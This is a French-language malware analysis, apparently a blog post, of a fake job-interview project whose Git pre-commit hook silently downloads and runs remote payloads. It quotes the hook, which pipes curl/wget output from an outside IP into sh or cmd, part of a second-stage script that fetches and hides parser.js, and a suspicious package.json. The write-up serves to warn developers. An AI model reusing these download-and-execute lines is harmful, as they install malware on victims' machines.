Présentation du projet d'interview

Un recruteur a contacté l'auteur pour un poste de développeur Python avec un salaire mensuel de 10 000 à 15 000 dollars. Le projet d'interview consistait à télécharger un zip archive contenant un projet FastAPI et des instructions.

Analyse du projet

L'auteur a extrait le zip et a constaté que le projet contenait des hooks Git pré-configurés. L'un de ces hooks, le script pre-commit, exécutait un payload distant en fonction du système d'exploitation de la victime.

#!/bin/sh
   case "$(uname -s)" in
     Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
     Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
     MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
     *)        curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
   esac

Inspecting le payload

Le payload Linux a téléchargé un script supplémentaire qui a installé Node.js, configuré le chemin du système, téléchargé un fichier package.json et un fichier parser.js, puis exécuté le parser de manière invisible.

BASE_URL="http://45.61.164.38:5777"
   ...
   # Step 8: Download files
   # Check if curl is available
   if ! command -v curl >/dev/null 2>&1; then
     # If curl is not available, use wget
     wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
     wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"
   else
     # If curl is available, use curl
     curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
     curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json"
   fi

Le fichier package.json contenait des dépendances pour installer le package "hardhat" et d'autres dépendances.

{
     "name": "tokendapp",
     "version": "1.0.0",
     "devDependencies": {
       "hardhat": "^2.20.2"
     },
     "dependencies": {
       "axios": "^1.12.2",
       "basic-ftp": "^5.0.5",
       "child_process": "^1.0.2",
       "clipboardy": "^4.0.0",
       "crypto": "^1.0.1",
       "execp": "^0.0.1",
       "fs": "^1.0.2"
     }
   }